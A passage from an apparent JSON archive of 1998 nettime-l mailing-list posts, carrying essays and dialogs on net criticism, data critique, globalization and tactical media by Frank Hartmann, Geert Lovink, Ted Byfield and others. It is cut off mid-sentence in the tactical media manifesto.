exterminating the social potential of the\nNet. \n\nIntellectual discomfort\n\nWhile thousands of websites blossom, most intellectuals feel instinctively\nuncomfortable with this process. Traditional Homo Academicus all ash and\nsack, has not much clue to what is going on in the flashy online world.\nFurther to their distance, random ASCII fetishists become the new\niconoclasts of the Net. Having invested in all that textualism, and having\nformed this distinctive usenet community, now coping with the masses\nagain, with those impositions of the World Wide Wedge - accompanied with\nan unquenchable thirst for new software, new applications, more pictures,\nmore entertainment, and more prefab interactivity? \n\nIn the beginning, there was the word, then there was programming. In terms\nof cultural technique, the computer itself substantially changed, as well\nas our relationship to the machine, in a relatively short time, from\nnumbercruncher to wordprocessor to thoughtprocessor. (10) Moving from\nmainframe to personal computing (PC) to net computers (NC) and now all of\na sudden computers, as we painfully learned to know them, seem to vanish\nagain. Not only they become less significant parts of an integral whole,\nbut also widely integrated into everyday's appliances as in \"intelligent\"\ncars, household machines, shoesoles, and the like. Culture moves towards a\nstate of ubiquitous computing, where these machines form the new\nenvironment. Amongst many other things, this indicates new forms of social\nintegration and a new involvement in societal relations. Kant's\ntranscendental subject seems to exist not longer in terms of common\ncategories of sensual perception and logical thought but those of the\nglobal electronic datasphere. Which brings to mind McLuhan's phrase, that\n\"in the electric age we wear all mankind as our skin.\" \n\nAll mankind, one world? Should this be the heritage of the age-old\nphilosophical dream of a universal language and a common understanding\ncome true? The misleading term of the Global Village forgot to discuss the\nsevere social constraints which determine life in a village. There is a\npossibility that the information society becomes as culturally homogeneous\nas any village lifestyle is. But we will never forget that we live in\ndifferent worlds. \n\nThe ideology of individual liberalism can be seen as a cultural movement\nfrom west to east, from north to south, a doctrine of salvation, which\nsells the benefits for a technocratic elite of the Virtual Class as a\nparadigm for the global social sphere. The electronic frontier actually is\na retro-movement across the Atlantic towards Europe, which proceeded\nwithin Europe towards the East with considerable delay. The relatively\nhomogeneous character of \"Cyberspace American Style\" was perceived\ncritically from a European perspective, where the loss of cultural\ndiversity was and still is feared. Besides demographic factors, there are\nseveral other hindrances for coping with this specific change. The\nproblems with the new electronic boundaries between East and West are not\nof a mere technical but also a cultural nature. Cultural differences\nexpress themselves through different use of communication and techniques:\na technical interface always also is a cultural one. \n\nWinds of change, battle on content\n\nBasically, ICT is grossly overestimated as a tool or instrument of change,\nespecially when its brief history (with an open end) is being considered.\nWill technology change people, or are new technologies already the\nexpression of change? But then, technology is always only a part of the\nproblem. In the end, we have to ask what will determine the shape of\nCyberspace: Asian hardware and American software alone? Cyberspace holds\npolitical, socio-economical and cultural issues as well, all of which are\nup to thorough scrutiny by social and political science--I would like to\npromote this as a specifically European task. As there is cyberspace, what\ndoes it mean for \"us\", living in a fragmented world? \n\nNeedless to say, that task is a critical one. Why? It once was argued by\nphilosophers that the bourgeois utopia of a democratic, participatory\nsociety was the \"natural child\" of absolutist sovereignty. The critical\ntask of enlightenment was being performed in a time of societal crisis,\nand thus took on some hypocritical measure. The object of critique firstly\nbeing texts and their social implications, e.g. the Bible, enlightenment\nfailed in its task to replace these texts with new content when its\ncritique explicitly was extended towards politics and society as a whole.\nThe benefits of enlightenment meant business for some. \n\nIn his critique of aesthetic reason, Kant argued in train of the biblical\nprohibition of images for an enlightenment which is \"just negative\" in\nrespect to its task: he not only carried on the age-old quest of\nintellectuals-- defending their cultural privileges, i.e. textual against\nany easier accessible cultural techniques, wanting to be the \"true\"\nmediators against any kind of \"deceiving\" media -- he also refused to name\nwhat this non-pictorial 'Denkungsart' should be, if simple demystification\n(of the \"childish apparatus\" provided by religion and corresponding\npolitics to keep people as their subjects) would not do.(11) Ages before\nKant, nominalism already failed to win its battle on content, which\nstarted with the intention to distinguish real content from mere\nmetaphysical noise (flatus vocis), and true thought from ideology by ways\nof, let's say, a proper information economy. Now history shows that a\nsimple purification filter--from thoughts to words, from images to texts,\nfrom texts to programs--is not the way it works. Such self-righteous\ncritique easily becomes delusive. This happened to the bourgeois filter of\ncontent against transcendence, as the Encyclopedie necessarily failed to\nbe the new Bible for modernity. \n\nVirtual intellectual task force\n\nRe-thinking enlightenment? Still an academic endeavour. Re-programming\nsociety? A fading socialist dream. The elements of a data critique are at\nhand: a task not to be left to the neo-luddites.(12) The Virtual\nIntellectual--a new figure discovered by Geert Lovink -- will be\nconstituted through his/her specific mixture of local and global cultures:\n\"The Virtual Intellectual is conscious of the limitations of today's\ntexts, without at the same time becoming a servant of the empire of\nimages.\" Critical activities, being the heritage of the textual realm,\n\"will now be confronted by the problem of the visualisation of ideas.\"(13)\n\nCritique, according to Kant, concentrates on the form versus the content,\non the realisation of 'negativism'. As critique always means\ndifferentiation, a data critique follows the modulations of information\nwithin a process of circulation. It works on the level of subjectivity,\nwhile this implicates some sociological sobriety, some demystification,\nand some diversity. Since digitalisation alone is not the issue, the\nquestion is whether there are alternatives within the pretentious\ninformation society project? \n\nPhilosophically, it keeps its sceptical distance towards ontological\nquestions concerned with 'truth', and similar traditional encumbrance. In\na kindred spirit, Peirce's pragmaticism -- stating the fact that \"We have\nno power of thinking without signs\"(14) -- made clear that because sign\nand signified differ according to an ever changing 'interpretant', we\nrarely have a chance to recall qualities in communication which relate to\nanything beyond actual sign-use and therefore, media-practice. Thus, the\nirrelevance of any metaphysical 'meaning' as in 'true representation' of\nideas through texts becomes a notion of enlightenment revised, for\ngenerations after the overwhelming encyclopedic project of a thesaurus\nwith all available knowledge (as cognitive possessions), or even the\nnotion of 'unified science' (further to d'Alembert or, more recent,\nCharles Morris, Otto Neurath and others who historically struggled to\ncreate a new symbolic 'unification').(15)\n\nInformation on information\n\nHypermodern communication tends to synchronise all aspects, and under\nthese conditions to publish, means instant access to all utterance. The\nimmediacy of media is getting scary. Thoughts are phrases made while\nhaving media presence. Simulation and speed are the two concepts which\ndominate media philosophy. Language is but the soft currency in an economy\nto increase the turnover of the information industries. After texts there\nare documents, after structure there is HTML, after style there is VRML.\nMeanings are offset in dot com. All content is but chunks of inert digital\ninformation, waiting for the copy pirates. At any common workplace, no\nmaterial objects are being processed, but information. What are the\nresources of information work? When information becomes decontextualised,\nas it does, then what we need is more information on information. \n\nAny information which is not contextualised is worthless. Phil Agre\nimagined intelligent data as he put forward the idea of \"living data\" by\nthinking through all the relationships data participate in, \"both with\nother data and with the circumstances in the world that it's supposed to\nrepresent\".(16) Geert Lovink and Pit Schulz established the notion of a\nNet Criticism, introducing the fuzzy concept of something like ESCII, a\nEuropean Standard Code for (critical) Information Interchange.(17) One\ncould further elaborate on this list; elements of data critique are there.\nA data critique, in terms of the announced information society, is not. It\nmay be all about creating context, and defining the conditions. About the\npower of techno-imagination (Einbildungskraft), as media philosopher Vilem\nFlusser (18) announced it. And content, what content? The Net is a part of\ncreating and/or reinventing cultural context as form, not as content.\nConcentrating on the form means to keep up cultural tradition. The Nets's\nproblem is that the social motive which made it possible is seen totally\ndetached from the technological process, and vice versa. While\ndeconstructing illusions, the age of enlightenment produced some illusions\nof their own. What is needed is not a New Enlightenment through\ntechnically enhanced individuals, as Max More suggested for the\nhypermodern age(19), but a renewed epistemological agnosticism of sorts,\nan anti-dualism set against the notion of that 'inner nature' of things\nwhich leads to any 'true' forms of representation. Why not call it a\ndata-critique? \n\nReferences\n\n(1) Cf. Martin Heidegger's quote of \"an ancient fable in which Dasein's\ninterpretation of itself as 'care' has been embedded\", Being and Time,\nOxford ed., 1962, p.242\n\n(2) J.R.C.L. Licklider, Robert W. Taylor: The Computer as a Communication\nDevice, in: Science and Technology 1968\n[http://www.memex.org/licklider.html]\n\n(3) William Mitchell: City of Bits. Space, Place, and the Infobahn, MIT\nPress 1996\n\n(4) Source: European Information Technology Observatory\n[http://www.fvit-eurobit.de/def-eito.htm]\n\n(5) Estimated by hourly costs of a local telephone connection over the\nmonth; before the privatisation of the telekom with the beginning of 1998,\nthe Austrian PTT e.g. flexed its monopolistic mucles once more by raising\ntelephone costs for private users up to one third in Nov. 1997\n\n(6) Martin Bangemann: \"The opening of Europe's telecommunications markets\nis the key to the door of the Information Society\", Information Society\nProject Newsletter, Telecoms Special Issue, Nov. 1997\n[http://www.ispo.cec.be/]\n\n(7) High-Level Expert Group: \"Europe and the Global Information Society.\nRecommendations to the European Council\", Brussels 1994\n[http://www.ispo.cec.be/infosoc/backg/bangeman.html]\n\n(8) Group of Lisbon: Limits to Competition. MIT Press 1996\n\n(9) Arthur Kroker, Michael A. Weinstein: Data Trash. The theory of the\nvirtual class. St. Martin's Press 1994\n\n(10) Michael Heim: The Metaphysics of Virtual Reality. Oxford Univ. Press\n1993\n\n(11) Immanuel Kant: Critik der Urtheilskraft [1790/1793], A124/125\n\n(12) Thomas Pynchon: Is it O.K. to be a Luddite? The New York Times Book\nReview, 28. Oct. 1984 [http://www.dds.nl/~n5m/texts/pynchon.htm]\n\n(13) Geert Lovink: Portrait of the Virtual Intellectual. On the design of\nthe public cybersphere. Lecture at the Documenta X, Kassel, July 1997 -\ndistributed via nettime-l [http://www.desk.nl/~nettime]\n\n(14) Charles S. Peirce: Philosophical Writings of Peirce, ed. by Justus\nBuchler, Dover Publ., 1955, p.230\n\n(15) D'Alembert, Jean LeRond: Discours Preliminaire de l'Encyclopedie\n[1751]. Morris, Charles W. / Neurath, Otto (et al.): International\nEncyclopedia of Unified Science. Foundations of the Unity of Science. The\nUniversity of Chicago Press [1938-39]\n\n(16) Phil Agre: Living Data\n[http://www.wired.com/wired/2.11/departments/agre.if.html]\n\n(17) Geert Lovink, Pit Schultz: Grundrisse einer\nNetzkritik [http:www.dds.nl/~n5m/texts/netzkritik.html]\n\n(18) 'Technoimagination' and 'Communicology' are Flusser's terms to\ncomplement the technological process; cf. Vilem Flusser: Kommunikologie,\nMannheim 1996\n\n(19) Max More: New Enlightenment. European Origins - American Future?, in:\nTelepolis [http://www.heise.de/tp/english/special/mud/6143/1.html]\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Tue, 21 Jul 1998 12:28:22 -0400",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199807220820.JAA10340 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9807/msg00060.html",
                "list": "nettime_l",
                "author_name": "Frank Hartmann",
                "subject": "<nettime> Towards a Data Critique (for zkp5)"
            },
            {
                "id": "00055",
                "content": "\nNet Criticism 2.0 A Fast Conversation of Two Moderators\nwith Ted Byfield and Geert Lovink\n\n[in preparation for the 'nettime bible', the upcoming\nbook which will be released in november at the Dutch\nElectronic Arts Festival, V2, Rotterdam]\n\nGL: So let us have an exchange about the current and\npossible 'net criticism' and how we think this genre\nshould be (further) developed. Who are your masters,\nbig examples? Is NC different from IT-business\nreporting, investigative journalism, essays? I wonder,\nfor example, what you think of all these books with\nexamples of 'successful' websites and their design. Few\npeople question that genre and discourse. The same\ncounts for software manuals, the dummy books etc. Well,\nthere is (or was) a Wired critique, yes. But how to get\nbeyond that?\n\nTB: You may remember that when phrase like 'net\ncriticism' and 'net discourse' first cropped up, I was\npretty skeptical about them. Not about the work being\ndone under those rubrics, but about the possibility of\nthese fields or disciplines: whether the subjects or\nobjects were understood clearly enough to hold together\nas a project. At the time i drew a parallel to a\ndistinction floating around in some newsgroups devoted\nto various problems of the net, between abuse *on* the\nnet (flaming, basically) and abuse *of* the net (spam,\nforged cancels, etc.). We still see this ambiguity, in\nefforts to elaborate genres that are somehow 'native'\nto networks and claims that 'the net was used to\norganize the opposition in Indonesia.' There is that\nkind of confusion, which hasn't really been worked out,\nand then there's another kinds of confusion that stems\nfrom how quickly the medium (however you want to\nunderstand that term) has changed. So I don't think\nthese efforts have come together clearly, but the more\nrecent confusion may be a sign that, as you've called\nit, a 'Net Criticism 2.0' Is coming together. It's\ncertainly needed.\n\nGL: I wonder if we can harass the masses to join a\ncompetition about 'net criticism 2.0' and what it\nshould be all about. Or is this already too\nself-referential? the problem here is really one of\npositive or rather negative role models, types of text\none falls in love with, mind-blowing critiques that\nshake the fundaments of the current Net (business)...\n\nTB: That's a question for future historians to ask,\nwhether it was all too self-referential. As for\n'harassing the masses,' who knows? This relates to\nanother ambiguity, namely, what is the net for? Is it\ninstrumental, a means of communication? Is it a medium,\nwhether for art or for publishing? Is it an empty\nnotebook, or a television, or a telephone, or an arena?\nIt's very easy to think of a particular forum on the\nnet as a kind of context, but what's harder to\nunderstand, I think, is the reception of that\ncontext--as something for passive edification or\nentertainment, or as a 'push-back channel' for finished\nworks, or even as a testing ground for unfinished\nexperiments? Some combinations of these possibilities\nare very vital, others not so vital. So the question\nmight be what's the most vital option? But maybe *that*\nis too self-referential.\n\nGL: The best discourses are perhaps those which\ncultivate and differentiate their language and internal\nreference system without becoming completely obscure, a\nseductive game of closures and openness. The relatively\nclosed system of the mailinglist can be a good\nenvironment to develop a rich set of ideas, before the\narmy of recyclers like academics, journalists, and\ncultural mediators take over. But by and large it is an\nirrational process that can not be simulated or even\nstaged. And it should have a certain radical approach.\nModerate voices can only come up with sweet synthesis\nat the end. So the NC 2.0 Is in need of new forms of\nnarrowness. The cyber ideology now needs new\ndirections, enemies, targets, and positive goals also,\nof course.\n\nTB: I used to wonder if, as the net became a normal\npart of life like the telephone, the possibility of\n'net critique' would somehow seem like 'phone\ncritique'--a quaint historical wrong turn. But I don't\nthink so: one reason net 'exploded' was the possibility\nit opened for circumventing the various establishments\nof only slightly older generations who had become quite\ncomfortable in their professionalized forms of\ndiscomfort: enforcing suddenly stratified structures in\nacademia, journals, galleries, activist organizations,\nand so on--very much at the expense of those who sought\nto continue critique, if not 'follow in their\nfootsteps.' And so we saw this fast proliferation of\nsoapboxes, networks, and so on. I don't believe the\ndissatisfactions and ideals that drove that move are\ngone, done, settled, we're all happy now, no more\nproblems, everyone is all of a sudden moderate. So\nthere is your potential radicalism. But what are the\nfrustrations and goals these few years later?\n\nGL: Avital Ronell would love your 'phone critique', but\nanyway, the question now is if we, the users of the\nNet, simply accept the standard as are now being\ndeveloped. No more research and development. This is\nalso the starting point of that brilliant 'anti mac'\npiece that was on nettime a little while ago. It states\nthat the Apple Mac interface has not changed for a long\ntime and that the human-machine interface are lot\nlikely to be revolutionized some time soon. The same\ncan be said of Microsoft and it critics. We are in\ndanger of getting stuck into web normalcy. This could\nbe the point where the real existing frustration comes\nup. After all the sell outs, mergers, bankruptcies we\ncan think of organizing the discontent of the more\nexperienced users that did not get trapped into cheap\ncyber fascinations, through new models of trade unions,\nconsumer organizations, and the appearance of the\ndissatisfied masses that are committing 'electronic\ncivil disobedience'.\n\nTB: I wish I could say that I loved her _Telephone\nBook_, but no--in part because it 'anticipated' in\nprint some of the big dead-ends that have trapped\nelectronic media ('event' instead of continuity,\nmelange instead of synthesis, hype instead of\nsubstance, etc., etc.). There's a danger in falling for\nthe seductive cosmopolitanism or worldliness that the\nnet offers: eclecticism very easily devolves into a\nreactionary mode, but rarely reveals itself as such\nbecause its concern for input and reception provides no\nbasis for saying 'OK, enough for now, we know what our\nprinciples are, time to act on them.' I think this is\nthe fascination with the free or open-source software\nmovement: ah, this eclecticism has paid off, now we've\nfound an ideal that's native to network. All well and\ngood, but then these forces come out with a silly 'Open\nContent License.' it's like they jumped through Alice's\nmirror and into the wonderful world of hypertext, but\nthey're 'back' button is grayed-out: they forget that\ncontent always was open and still is. Some freedom: so\nnow the _Communist Manifesto_ becomes the compiled\nbinary, and you can only distribute it under OCL, with\nthe _Grundrisse_ 'comments' and _Das Kapital_ 'source\ncode.' David Bennahum jokes about the 'gif economy' and\n'wysiwyg society'; what I'd like to see is an 'ascii\nrevolution.'\n\nGL: OCL is one thing, but have you seen the expensive\ncoffee table edition of the Communist Manifesto,\npublished for the 150th anniversary of that text? ascii\nis now what pulp for the newspapers used to be in the\n19th century, a fundamental resource which is driving\nall these virtual and spacial revolutions forward. But\nthis is not obvious! Code is rapidly becoming less and\nless visible. We are essentialists in that we like to\nbelieve that the elements behind the spectre is that\nwhich counts. The same can be said of certain media\ntheories stating that war is the mother of all media\ntechnologies. That might be all be true. But the\non-line masses are blinded by interfaces, funky\nimagery. Net Criticism cannot only have that one\nstrategy, to constantly 'uncover' and deconstruct other\npeople's java scripts and clever HTML... We should also\nunderstand and 'trust the masses' in their cheap\nadmiration for the ephemeral.\n\nTB: It'll be interesting to see whether the trend\ntoward making code visible (open source) will make it\nmore legible. For many, no: it will be like\ntransliterating hieroglyphs into phonetics. But\nliteracy is a 'technology' too, and from the 11th\ncentury it went from being rare in the 'upper classes'\nto a basic tool for tradesmen; and that 'renaissance of\nliteracy' brought about a 'renaissance of\nheresy'--people exercising literacy outside of the\ninstitutional structures that taught not just the\ntechnology but how to interpret, explain, and apply it.\n(And this wasn't the result of a programmatic push by a\nprogressive intelligentsia; on the contrary, the\n'intelligentsia' *fought* it.) So maybe there's a\nhistorical wisdom, a new kind of technology in this\nmelange of barely understood code, funky graphics,\nephemera--maybe somewhere in that combination that\nseems so disorderly is the historical force. Let's\nassume for a minute that the model we've been taught to\ntrust--an intellectual vanguard that supposedly learned\ncompassion from its excesses and respect for 'the\nmasses'--is in fact a reactionary force trying to\nprotect its political patrimony by imposing traditional\ninterpretations and ideals. What could come from this\nincredible soup of visual and instrumental techniques?\nWe complain and worry about how interfaces are\n'stopping' people--but what if those interfaces don't\nmatter at all?\n\nGL: That would be heaven, perhaps even the end of the\nNC project. Instead of an ecstasy of collective net\nconstructivism, we might expect a return of the\n(cyber)cultural pessimism. In the end, all the cynical\noutsiders will be right. But that's unbearable.\nRecently I was inspired by the idea that the virtual\nclass, venture capitalists and all these suits are not\nmore than 'paper tigers' we should not be afraid of. We\nstill have the ability to organize ourselves (in new\nways, yes) and claim hegemony against microsoft, apple,\nUUNet, compaq, netscape, sun, worldcom and whoever.\nThis had not even been tried. The lonely freelance\nsubjects are so tamed, numbed, still captured in old\nstories but that will change as soon as this 20th\ncentury is over and certain traumatic events have faded\naway. NC 2.0 should be social science fiction and be\nready once the temporary lapse of reason (over the\nQuestion of Organization) will be over.\n\nTB: OK, a compromise definition: NC 2.0 should be the\natomized foundations of a future we can't imagine. But\nwhat we *do* know is that new forms of organization\nwill get caught in the same old traps if they rely on\nsame old analytical tools. So let's break some of\nthose. I nominate the 'Conspiracy' as the first idiotic\nidea to smash: it involves everything you\nsay--pessimism, suits, hegemony, and a lonely freelance\nsubject captured by old stories. What is a\n'Conspiracy'? An organization that's effective,\nhierarchical, doesn't talk, and plans to 'rule the\nworld.' So, if someone opposes this organizational\nmodel, what values is s/he *supporting*?\nIneffectiveness, a happenstance program, hype, and\nindividuated powerlessness. Oh, and 'Conspiracies' are\n'Evil.' But what does that mean, other than attributed\nmotives? Yeah, killing people, imprisoning people,\npeople, and exploiting people are unethical--but do we\nneed to consider 'motives' to condemn these things? No,\nwe can condemn them on objective grounds. So what if we\nignore this motive of a 'Conspiracy'? We end up with\nthe idealized model of a corporation: effective,\nresponsive, organized, forward- thinking, and growing.\nPerfectly good ideals for many social organizations. So\nlet's throw this idea of the 'Conspiracy' out--and\nthrow out this fascination with 'motives' while we're\nat it. So that's my nominee for how to proceed with NC\n2.0. What do you suggest?\n\nGL: Conspiracy theories do not honor the Enemy, they\nwant to erase, kill, and delete. But you do really\nsuggest that this line is dominant these days? Because\nthere is little else? I can see similarities with the\n'ascii movement' in the sense that it is all about\ntearing down the corporate-state masks under which a\nself-explanatory truth will reveal itself, without\nanswer the urgent question of new ways to organize and\ngain hegemony outside of the neo-liberal project of the\nglobal market. It is prolonging a desperate form of\nindividualism which is not even suitable for networks.\nSo NC 2.0 could also be about making free space to\ndesign new forms of (collective) subjectivity.\n\nTB: Dominant, I don't know, but growing? Yes. We're\nbuilding tools that we designed with naive, limited, or\nidealized assumptions, but the world produces other\nconditions: so maybe the tools 'break,' or maybe they\ndo exactly what we specified but with consequences we\nnever intended--for example, they will run amok. And\nthey provide new metaphors for thinking about older\nproblems, social configurations: society as\nagriculture, society as steam engine, society as chaos\ntheory, society as cybernetic process. *This* is\n'interface culture.' So now the neo-liberal global\nmarket likes to talk about itself as 'information\nflows,' 'frictionless microtransactions,' etc. There is\nno self-explanatory positive truth 'underneath' these\nmetaphors, just a dialectical relation between them, on\nthe one hand, and where we are and where we want to go,\non the other. So I think we agree: NC 2.0 should be a\nproject to articulate and create new powers, new\nfreedoms. When you tear down a wall, you have to put\nthe stones somewhere. So when we tear away at a dumb\nidea, we find we criticized ideals we need. And you\nsay: The problem is the neo-liberal project of the\nglobal market. OK, then: Which parts of it should we\ntear away at, which parts should we keep, and how do we\nreconfigure those parts? The answers to this question\nwill begin to give us priorities and the seeds of a\nplan.\n\nGL: George Soros and others have suggested that we introduce\na tax on global trade of stocks and currencies. We\ncould reduce global trade and traffic, stop the silly\nsale of Dutch flowers in Chile and New Zealand (for\nexample), while at the same time fight for the right of\npeople to freely move from one country to the other.\nWhy this the right only of flowers and dollars? One\ncould focus on local networks and forget the whole\ninternational English media culture for a while. And\nre-enter on the global stage, if necessary. Universal\naccessibility should not be our principle--it is just\none option among many. Attacking the standardized\ndepartment stores, shopping malls and hotel cultures is\nanother strategy besides the struggles against\nmultinationals like Shell, McDonalds, Nike etc. (this\nis somehow obvious); and at the same time building up\ntruly numerous transnational networks from below, not\nmerely to exchange but also to collaborate in a direct\nway, without intermediaries, free of ideology and\ncontrol, eager to express anger, not afraid to organize\nand fight back. That is my, very private, vision of net\ncriticism, the next generation.\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "to": "nettime-l {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9807/msg00055.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> Net Criticism 2.0: a dialog",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "from": "elix Stalder <stalder {AT} fis.utoronto.ca>",
                        "content": "\n\n>TB: .... And you\n>say: The problem is the neo-liberal project of the\n>global market. OK, then: Which parts of it should we\n>tear away at, which parts should we keep, and how do we\n>reconfigure those parts? The answers to this question\n>will begin to give us priorities and the seeds of a\n>plan.\n\nNet Criticism needs clarity to cut through the maze and detect new spaces\nthat are opened by the changing conditions created by the Net, not so much\nonly with in the Net but in the societies and culture which are reorganized\nby using the technologies.\n\nThe 'global market' as a catch phrase is one of the 'mazy' things that\ncreate confusion and this confusion is instrumental. It makes any critique\nseem impossible by presenting something that seems so big and complex that\nnobody knows where to begin the detailed work which any critique needs to\nengage in if it doesn't want to be just another layer of 'novelty'.\n\nLet's look at the parts into which the 'global economy' can be dissected:\n\n* Globalization\n* Globality\n* Globalism\n\n_Globalism_ means the neo-liberal ideology which argues that the market is\na 'force of nature' which by its character is out-side the realm of the\npolitical and any political invention is to disturb or hinder the way\nthings develop most effiecently, thus creating a situation of additional\nstress. Globalism is the political ideology that promotes the 'end of\npolitics'.\n\n_Globality_ acknowledges the fact the decisive aspects of our economy, and\nof our culture -- just count the continents you have recently been to --\nare already organized on, or at least being influenced by, a global scale.\nIt furthermore acknowledges that this process is irreversible and that any\ncritique needs to start from here.  This is fairly obvious.\n\n_Globalization_, at last, is where the action is. These are the processes\nthat underlie the further expansion of the scope of Globality and its\nsystems of ordering and reproduction. Globalization, however, does not need\nto be a one-way street, as the dominant ideology of Globalism suggest,\nglobalization does not mean that 'everything that is solid melts into air',\nthat we are all to succumb under the abstract logic of a deregulated, read\nmarket-regulated, economy of behemoths. Globalization also means that\nprevious isolated people and groups can communicate, that strategic action\nat key nodes can be disruptive for the whole network, that grassroots can\ncoordinate themselves globally, in short, that the local can gain an\nenormeous power.\n\nWhen we start to separate the ideology of Globalism from the process of\nGlobalization, which are much more diverse and culturally oriented that the\nneo-liberal model is able to understand, then we will find the in the\nfalt-lines space for action and hope, something not just to criticize but\nto look forward to.\n\n[The distinction of the three terms is borrowed from Ulrich Beck: Was ist\nGlobalisierung?, 1997]\n\n-----|||||---||||----|||||--------||||----\n\nLes faits sont faits.\nhttp://www.fis.utoronto.ca/~stalder \n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                        "id": "00071",
                        "date": "Fri, 24 Jul 1998 16:12:15 -0700",
                        "to": "nettime {AT} Desk.nl",
                        "message-id": "199807250025.BAA14857 {AT} basis.Desk.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9807/msg00071.html",
                        "content-type": "text/plai",
                        "author_name": "Felix Stalder",
                        "subject": "Re: <nettime> Net Criticism 2.0: a dialog"
                    }
                ],
                "message-id": "199807211654.RAA02847 {AT} basis.Desk.nl",
                "date": "Tue, 21 Jul 1998 13:37:48 +0200 (MET DST)",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "alex galloway <alex {AT} rhizome.org>",
                "id": "00014",
                "content": "\n>Regarding the Net Criticism 2.0 dialog:\n[...]\n>Net Criticism 2.0 is spoken about as if it could facilitate the \"design\"\n>of something -- specifically, that it could be about \"making free space\n>to design new forms of (collective) subjectivity.\"  As if!  An\n>alternative position would be to place oneself in the fray, and rather\n>than facilitate the design of new forms of subjectivity, the objective\n>would be to discover the new forms of subjectivity that are emerging -\n>and these not apart from, but deep within the guts of consumer society.\n>How is contemporary subjectivity defined today?  You can bet it is not\n>\"outside\" of market culture in any sense.  You have to come down off the\n>perch and enter into the market to understand it.  Otherwise, you are\n>losing the ability to speak to an entire generation.\n\njordan - you didn't get the response you wanted, did you?! ;-)\n\ni'm glad you spoke up because i'm also a little skeptical of the old school\nspeak.\n\nhere's what i heard you saying:\n\nenter in strategic ways\norganize and set our own prices\ndevelop critical and resistant market ideologies\nextend the market as a network\n\ni like this model... articulation rather than rejection. i think one of the\nmost exciting things about new media is that it allows us, the programmers,\nthe freedom to manufacture the core substance of our work. at rhizome (and\ni guess at blast too) the model is actually to produce an *organization*\nthat facilitates cultural production. nettime, with no employees, no\noffices, etc., i guess would be the opposite of that--although both are\nsuccessful in different ways.\n\nto the skeptics of engagement, a perfect example: rtmark. they are\ncompletely embracing both a corporate aesthetic and a corporate business\nmodel, and they're still punk rock. others like etoy, BIT and technologies\nto the people are also embracing the corporate aesthetic.\n\nthe responsibility of Net Crit. 2.0 should be to analyse the real workings\nof the new media--the \"logics\" of computer networks, how technology\nproduces subjects, new aesthetic forms, the structure of online\ncommunities, biometrics, collaborative filtering. i'm less interested in\nthe back and forth arguments around economics and consumerism.\n\nalex galloway\nwww.rhizome.org\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Thu, 6 Aug 1998 10:20:52 -0400 (EDT)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199808070138.CAA08185 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9808/msg00014.html",
                "list": "nettime_l",
                "author_name": "alex galloway",
                "subject": "<nettime> Net Crit. 2.0"
            }
        ],
        "desc": "..."
    },
    "Tactical Media": {
        "lists": [
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00096",
                "content": "\n(This manifest was written for the upcoming opening of the web site of the\nTactical Media Network, hosted by the Waag, the Society for Old and New\nMedia: http://www.waag.org/tmn). It will contain the archive of the web\nsite and on-line journal of Next Five Minutes 2, a database of addresses,\nthe archive of VPRO TVs \"Worldreceiver\" program and a new \"broadcast site\"\nwith samples of new work, made by tactical media groups from all over the\nworld. Contact: roos {AT} waag.org).\n\n\nThe ABC of Tactical Media\nBy David Garcia and Geert Lovink\n\nTactical Media are what happens when the cheap 'do it yourself'\nmedia, made possible by the revolution in consumer electronics and\nexpanded forms of distribution (from public access cable to the\ninternet) are exploited by groups and individuals who feel aggrieved by\nor excluded from the wider culture. Tactical media do not just report\nevents, as they are never impartial they always participate and it is\nthis that more than anything separates them from mainstream media.\n\nA distinctive tactical ethic and aesthetic that has emerged, which is\nculturally influential from MTV through to recent video work made by\nartists. It began as a quick and dirty aesthetic although it is just\nanother style it (at least in its camcorder form) has come to symbolize\na verite for the 90's.\n\nTactical media are media of crisis, criticism and opposition. This is\nboth the source their power, (\"anger is an energy\" : John Lydon), and\nalso their limitation. their typical heroes are; the activist, Nomadic\nmedia warriors, the pranxter, the hacker,the street rapper, the\ncamcorder kamikaze, they are the happy negatives, always in search of an\nenemy. But once the enemy has been named and vanquished it is the\ntactical practitioner whose turn it is to fall into crisis. Then\n(despite their achievements) its easy to mock them, with catch phrases\nof the right, \"politically correct\" \"Victim culture\" etc. More\ntheoretically the identity politics, media critiques and theories\nof representation, that became the foundation of much western tactical\nmedia are themselves in crisis. These ways of thinking are widely seen\nas, carping and repressive remnants of an outmoded humanism.\n\nTo believe that issues of representation are now irrelevant is to\nbelieve that the very real life chances of groups and individuals are\nnot still crucially affected by the available images circulating in any\ngiven society.  And the fact that we no longer see the mass media as the\nsole and centralized source of our self definitions might make these\nissues more slippery but that does not make them redundant.\n\nTactical media a qualified form of humanism. A useful antidote to\nboth, what 